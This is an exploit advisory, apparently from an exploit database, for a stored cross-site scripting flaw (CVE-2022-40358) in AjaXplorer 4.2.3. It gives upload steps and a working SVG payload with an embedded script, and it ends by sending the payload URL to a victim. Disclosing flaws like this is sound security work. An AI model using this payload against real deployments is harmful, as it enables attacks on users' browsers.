AjaXplorer 4.2.3 - Stored Cross-Site Scripting (XSS)

2022.09.22

Scott Sturrock (AU)

Risk: Low

Local: No

Remote: Yes

CVE: CVE-2022-40358

CWE: N/A

# Exploit Title: AjaXplorer 4.2.3 - Stored Cross-Site Scripting (XSS)
# Exploit Author: Scott Sturrock 'ssturrock -at- protonmail -dot- com'
# Vendor Homepage: http://www.ajaxplorer.info/
# Software Link: https://sourceforge.net/projects/ajaxplorer/files/ajaxplorer/stable-channel/4.2.3/
# Version: 4.2.3
# Tested on: Linux, Windows
# CVE : CVE-2022-40358

An issue was discovered in AjaXplorer 4.2.3, allows attackers to cause cross site scripting vulnerabilities via a crafted svg file upload.

Steps to reproduce:

1.Right click > Create a new file > name file xss.svg
2.Right click on file > open in Source Editor
3.Copy paste below Payload and click save


<?xml version="1.0" standalone="no"?><svg width="1000" height="1000" version="1.1" xmlns="http://www.w3.org/2000/svg"><circle cx="50" cy="50" r="25" stroke="red" fill="transparent" stroke-width="50"/><script type="text/javascript">alert('XSS');</script></svg>

4.Right click file and open in external window for payload URL to send to victim

References:

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-40358

See this note in RAW Version

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AjaXplorer 4.2.3 - Stored Cross-Site Scripting (XSS)

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